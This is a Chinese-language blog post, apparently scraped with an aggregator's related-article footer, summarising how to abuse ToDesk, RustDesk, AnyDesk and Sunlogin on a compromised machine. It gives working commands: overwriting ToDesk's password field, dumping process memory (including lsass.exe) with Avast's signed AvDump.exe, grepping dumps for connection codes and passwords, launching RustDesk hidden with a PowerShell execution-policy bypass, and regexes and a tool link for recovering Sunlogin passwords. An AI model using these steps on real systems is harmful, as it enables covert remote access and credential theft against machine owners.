远程desk工具利用总结
NO.1 Todesk
根据目标软件安装情况有以下两种利用方法
1.目标机已有完整版todesk。
1)改配置文件。
老版本可替换至本地查看密码(此法在最近更新的几个版本中已经失效),新版本只可更改密码。
改C:\Program Files (x86)\ToDesk下conf.ini文件tempAuthPassEx字段
tga5h42d
b219c2a861e176d319b0a4e0463896d4af2a02ed7bc88da794541701b46f1af2fc4a9864ae00772cc8d924a801bdaaa3b47fbd2fa637ac4b
65tu07zr
11a48a2981bfda260f2f1a890a97b2ed9fcb9b48a262d20e3a68f6c56d6790cd910e1618a7747df448922b0cfe16c284728d28864923d3c8
kill进程重启即可。
2)内存读密码
userInfo.json和devlist_xx.json文件有userid(连接码)
dump内存,搜索连接码,上下几行会有密码
4.3.3以下临时密码为6位数字
2.目标机无todest,安装官方精简版
dump内存 仅测试4.3.3.0
运行精简版(需bypassUAC),dump子进程(主进程为system权限)


AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。
AvDump.exe --pid 954 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
可通过定位被控端版本 4.3.3.0 、主机名、公网ip、系统版本(更准确),来找到相应位置。
*shell快速提取,不一定有效,密码可能在输出的前后两行
设置utf-8
CHCP 65001
1)连接码
shell findstr "20220829" C:\Users\Public\tod.dmp 时间定位
shell findstr "ip地址" C:\Users\Public\tod.dmp ip定位
2)连接密码
主要靠系统版本号定位,具体看连接码定位字符串显示的版本号
shell findstr "19044" C:\Users\Public\tod.dmp

通常为8位数,数字字母混合

NO.2 Rustdesk
单机版,无需绕UAC,但部分软件操作会提示UAC。
配置文件地址
C:\Users\username\AppData\Roaming\RustDesk\config\RustDesk.toml
使用powershell可以无窗口执行
powershell-executionPolicy bypass Start-Process -WindowStyle hidden -FilePath 'C:/user/rust.exe'
第一次运行rustdesk会生成配置文件,然后结束进程
taskkill/f /t /im rust.exe
在配置文件中添加密码,6位数密码

在内网还可配置直连功能RustDesk2.toml
[options]
direct-server='Y'
direct-access-port='8443'
NO.3 Anydesk
复制本地C:\Users\guoguang\AppData\Roaming\AnyDesk 下四个文件到远程主机上
删除本地文件,重启开启连接
NO.4 向日葵
自从向日葵12.5版本后,原encry_pwd和fastcode字段已经不在配置文件config.ini和注册表HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo内
解决方案一
根据分析,上述字段移动至C:\ProgramData\Oray\SunloginClient\sys_config.ini中
此配置文件默认需要SYSTEM权限才可以读取
提权后拿到id和加密后的密码,经测试算法没变,通过现有项目解密即可 https://github.com/wafinfo/Sunflower_get_Password
解决方案二
通过dump内存的方式匹配明文字符串获取,参考: https://red.rizhan.icu/?thread-176.htm
id正则为k[0-9]{8,}
密码正则为>[a-z0-9]{6},每次刷新后密码的均会保存在内存中
远程desk工具利用总结的更多相关文章
- win7利用tsmmc.msc远程管理工具
win7和xp默认不带tsmmc.msc远程管理工具.我们只需要从2003的windows\system32目录下复制 mstsmhst.dll ,mstsmmc.dll 和tsmmc.msc文件放到 ...
- 强大的安卓手机远程管理工具 – Droidjack
免责声明:本站提供安全工具.程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Droidjack是一款针对安卓手机远程管理工具,你可以利用它在PC上对手机进行远程操控,不仅功能强大,使用 ...
- Linux学习--第二天--分区、格式化、系统安装、vmware、远程管理工具
分区 主分区加上扩展分区只能有四个,其中扩展分区只能有一个,扩展分区不能写入数据,不能格式化,只能包含逻辑分区.这是硬盘的限制. 格式化 分为高级与低级.文件系统是高级格式化.低级是硬盘操作. 扩展分 ...
- Linux系统管理远程登录工具PUTTY
PuTTY 简介 PuTTY是一个Telnet.SSH.rlogin.纯TCP以及串行接口连线软件.较早的版本仅支持Windows平台,在最近的版本中开始支持各类Unix平台,并打算移植 ...
- linux远程管理工具
一.常见的远程管理控制方式主要有以下几种 ①RDP(remote desktop protocol)协议 远程桌面协议,我们常用的windows操作系统就是的远程桌面管理就是基于该协议的. ②teln ...
- Linux网络管理——远程登录工具
4. 远程登录工具 .note-content {font-family: "Helvetica Neue",Arial,"Hiragino Sans GB", ...
- curl远程传输工具
/** * curl远程传输工具 */ public function post_curl($url,$body,$header,$type='POST'){ $ch = curl_init(); c ...
- xshell远程登录工具的星号密码查看方法
当我们在使用ftp,或者xshell等远程登录工具的时候,连接的密码是用星号*处理的,无法查看到,该如何查看到原始的密码呢? 推荐一款星号密码查看器,可以查看一些软件的带星号的密码,非常好用. 下载地 ...
- Linux远程批量工具mooon_ssh和mooon_upload使用示例
目录 目录 1 1. 前言 1 2. 批量执行命令工具:mooon_ssh 2 3. 批量上传文件工具:mooon_upload 2 4. 使用示例 3 4.1. 使用示例1:上传/etc/hosts ...
- Mac 10.12安装Windows远程桌面工具Microsoft Remote Desktop
说明:之前Office自带的Windows远程桌面工具虽然简便,但是保存的服务器列表有限.而这个微软推出的自家工具可以完美解决这些问题. 下载: (链接:https://pan.baidu.com/s ...
随机推荐
- epub文件如何查看
http://epub-reader.online/# 你可以用在线的epub阅读器查看. 你可以使用本地的epub阅读器查看.如neatReader,wps. 你可以将epub转换成pdf,然后查看 ...
- CentOS 7下安装windows字体
1.在日常生产中打开文件时发现中文乱码,考虑到编码或者是否有中文字体库,在CentOS 7中执行命令发现字体列表命令无效. 上图发现字体库都没安装,接下来就会简单说一下CentOS 7 中安装字体库和 ...
- 了解 BASH
管理整个计算机硬件的其实是操作系统的核心(kernel),这个核心是需要被保护的.所以使用者就只能通过shell来跟核心沟通,以让核心达到想要的工作.那么系统中有多少 shell?为什么要使用 bas ...
- GOROOT、GOPATH、Go Modules 三者的关系介绍
GOROOT GOROOT路径即为存放Golang语言内建的程序库的所在位置,简单地说就是Golang的安装路径 若按照Folang-Download and install流程,则由go env命令 ...
- 必知必会的 WebSocket 协议
文章介绍 WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议,它的出现使客户端和服务器之间的数据交换变得更加简单.WebSocket 通常被应用在实时性要求较高的场景,例如赛事数据. ...
- rocketmq-spring : 实战与源码解析一网打尽
RocketMQ 是大家耳熟能详的消息队列,开源项目 rocketmq-spring 可以帮助开发者在 Spring Boot 项目中快速整合 RocketMQ. 这篇文章会介绍 Spring Boo ...
- NetCore 使用 Swashbuckle 搭建 SwaggerHub
什么是SwaggerHub? Hub 谓之 中心, 所以 SwaggerHub即swagger中心. 什么时候需要它? 通常, 公司都拥有多个服务, 例如商品服务, 订单服务, 用户服务, 等等, 每 ...
- github打不开或者打开慢方法
github最近打不开,很久之前遇到过,但是忘记怎么解决了,查找相关资料后,今天记录在此,以备不时之需. 记住3个关键网址 github网址查询:The world's leading softwar ...
- 【vue3-element-admin】Husky + Lint-staged + Commitlint + Commitizen + cz-git 配置 Git 提交规范
前言 本文介绍 vue3-element-admin 如何通过 Husky + Lint-staged + Commitlint + Commitizen + cz-git 来配置 Git 提交代码规 ...
- 基于RL(Q-Learning)的迷宫寻路算法
强化学习是一种机器学习方法,旨在通过智能体在与环境交互的过程中不断优化其行动策略来实现特定目标.与其他机器学习方法不同,强化学习涉及到智能体对环境的观测.选择行动并接收奖励或惩罚.因此,强化学习适用于 ...